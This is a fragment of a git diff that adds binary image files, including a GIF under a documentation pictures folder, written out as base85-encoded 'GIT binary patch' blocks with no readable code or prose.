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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif
new file mode 100644
index 0000000000000000000000000000000000000000..1587890cc487e30bc31810a251c12711a49d49a2
GIT binary patch
literal 6144
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
